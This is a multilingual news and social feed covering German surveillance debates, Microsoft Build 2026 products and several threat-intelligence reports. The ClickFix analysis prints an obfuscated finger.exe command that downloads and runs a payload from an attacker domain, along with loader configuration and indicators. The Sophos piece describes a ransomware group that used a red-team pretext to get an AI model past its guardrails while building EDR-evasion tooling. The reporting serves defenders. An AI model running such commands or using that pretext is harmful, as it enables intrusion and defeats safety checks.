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Die neuste Podcast-Folge Off/On ist fertig. @ckoever, @roofjoke und ich nehmen euch mit hinter die Kulissen unserer Arbeit zum Social-Media-Verbot und #Alterskontrollen.

🥜 Was ist eigentlich das Problem?
👺 Hat Big Tech es nicht verdient?
🤔 Und die Kinder?

Außerdem legen wir offen, welche kleine redaktionelle Aufgabe, wir alle drei immer wieder vergessen. 👉 👈

Viel Spaß beim Hören!

netzpolitik.org/podcast/na-dar…

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Diese Woche haben wir die Databroker-Debatte nach Deutschland geholt. Die Polizei in Mecklenburg-Vorpommern hat Handy-Standortdaten der Werbe-Industrie beschafft. Neun Länder wollen nicht beantworten, ob sie das auch tun.

In Bayern fordert die Opposition bereits Aufklärung. MdL Siekmann (Grüne): "Ein Einkauf solcher in der Regel rechtswidrig verkaufter Daten auf dem Graumarkt wäre ein Skandal."

Lest im Wochenrückblick, warum da gerade Feuer drin ist. #DatabrokerFiles

netzpolitik.org/2026/kw-23-die…

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Stell dir vor, du bist in Mecklenburg-Vorpommern unterwegs, vielleicht machst du Urlaub. Ostsee, Rügen, Stralsund. 🏖️☀️🧴🌊🐚

Vielleicht bekommst du nach dem Schwimmen einen komischen Ausschlag und lässt den kurz beim Hautarzt checken. 🔎

Was dieses Szenario mit den #DatabrokerFiles zu tun hat, schreibt @sebmeineck im netzpolitischen Wochenrückblick.

netzpolitik.org/2026/kw-23-die…

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Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise
#tech
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@informatica


Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise


Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero


A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

  • MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
  • MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
  • MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
  • MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
  • Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise


Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati


Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft


I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

  • GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
  • Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
  • Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
  • Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.


Trust, governance e sovranità dei dati


Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin


Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

  • Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
  • Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
  • Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
  • AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.


Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News


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GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant
#tech
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@informatica


GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant


A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più


Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization


L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

  1. Si apre il progetto o la solution da migrare in Visual Studio.
  2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
  3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
  4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
  5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati


L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target


Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

  • ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
  • Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
  • Azure Functions: aggiornamento al modello isolated worker process.
  • Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.


Conversione SDK-style


Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire


Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti


L’agente gestisce anche scenari più circoscritti come:

  • Migrazione da Newtonsoft.Json a System.Text.Json.
  • Aggiornamento di Microsoft.Data.SqlClient.
  • Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.


Pre-build error checking in Visual Studio 2026


Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution


Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare


Per usare GitHub Copilot App Modernization è necessario:

  1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
  2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
  3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise


La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione


Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn


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✨ Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino
#CyberSecurity
insicurezzadigitale.com/spie-c…

@informatica


Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino


Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence


Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”


Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata


Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare


L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni


Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek


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✨ ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python
#CyberSecurity
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@informatica


ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python


Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed


L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin


L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking


Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

  • CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
  • IronPython: %LocalAppData%\IronPython.3.4.2.pdf


CastleLoader: framework MaaS con cifratura ChaCha20


Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket


Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori


Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026


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Alles im Interesse einer irren Industrie auf Speed. Nachhaltigkeit egal. Interessen der Bürger egal. Eigentlich alles egal, Hauptsache dabei.


Mit einem Paket an Gesetzen will die EU-Kommission digital souveräner werden. Aber das positiv besetzte Label verschleiert eine knallharte Industrie-Agenda: Neue Rechenzentren sollen massig Energie verschlingen. Ein Kommentar.

netzpolitik.org/2026/rechenzen…


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„Die vermeintlich gefühlte Sicherheit, die die neuen Technologien bringen soll, ist keine Sicherheit, sondern ein gefährliches Werkzeug, was nicht nur gegen uns als Bevölkerung, sondern auch gegen die Politiker:innen, die jetzt den Gesetzesentwurf vorantreiben, eingesetzt werden kann.“ fasse ich die aktuelle Einigung von CDU, SPD und BSW zur Polizeirechtsnovelle für @netzpolitik_feed zusammen. Denn wir können alle nicht sagen, was eine nächste Sächsische Regierung mit den Überwachungswerkzeugen anstellen würde, die jetzt durchgedrückt werden sollen.

Den ausführlichen Artikel von @leopleop findet ihr hier:

Smartphones hacken, Gesichter scannen: CDU, SPD und BSW wollen Überwachung in Sachsen ausweiten

netzpolitik.org/2026/smartphon…

#Polizei #NoPolG #Sachsen #SachsensDemokratie #Überwachung #CDU #SPD #BSW #Piraten #C3D2 #DPD #Datenpunks #DatebpunksDresden #Dresden

in reply to Ückück ​

hat jetzt den kompletten Änderungsanträge von CDU, SPD und BSW zur Sächsischen Polizeirechtsnovelle veröffentlicht. Das Dokument findet ihr hier im Artikel verlinkt:

netzpolitik.org/2026/smartphon…

#NoPolG #SachsensDemokratie #CDU #BSW #SPD #Sachsen #Polizei #Überwachung

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TA4922: Chinese Cybercrime Group Deploys Atlas RAT, ValleyRAT and AI-Assisted Malware in Global Phishing Blitz
#CyberSecurity
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Google Gemini Voice Assistant Hijacked via WhatsApp, Slack and SMS: Researchers Bypass All Google Defenses
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Iran-Linked Black Shadow Group Obliterates IT, Backups and Recovery Systems Across US and Middle East
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The Gentlemen Ransomware Group: Fortinet Exploits, AI Operations, and Custom C2 Make Them 2026’s Most Dangerous Crew
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securebulletin.com/the-gentlem…

Genova, 1,2 Petabyte di immagini per addestrare l’intelligenza artificiale. E la sovranità? (e qualcuno ha sentito il Garante Privacy?)

@Privacy Pride

Il dataset reso conforme e il modello una volta addestrato saranno messi a disposizione delle città che usano Hafnia attraverso un modello di licenza ad accesso controllato. È la formula che merita attenzione. Il dato grezzo parte da Genova, ma il prodotto raffinato, cioè il modello, viene distribuito ad altri soggetti secondo regole stabilite dal fornitore.

difesaonline.it/2026/06/04/gen…

Grazie a @Pietro Biase per la segnalazione

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Mit einem Paket an Gesetzen will die EU-Kommission digital souveräner werden. Aber das positiv besetzte Label verschleiert eine knallharte Industrie-Agenda: Neue Rechenzentren sollen massig Energie verschlingen. Ein Kommentar.

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Verschiedene LKAs in Deutschland nutzen offenbar Daten von Databrokern für eigene Ermittlungen – Expert*innen bezweifeln stark, dass das rechtens ist.
🚨 Das Pikante dabei: Neun Bundesländer sowie zahlreiche Bundesbehörden schweigen dazu, ob Databroker-Files verwendet werden.

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Die Polizei in Sachsen soll Menschen umfangreicher überwachen dürfen als je zuvor. BSW, CDU und SPD einigen sich auf die vielfach kritisierte Novelle des Polizeirechts. Entschärft wurde wenig, Opposition und Zivilgesellschaft haben kaum noch Zeit.

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✨ Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve
#CyberSecurity
insicurezzadigitale.com/sophos…

@informatica


Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve


Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta


L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP


Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati


Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

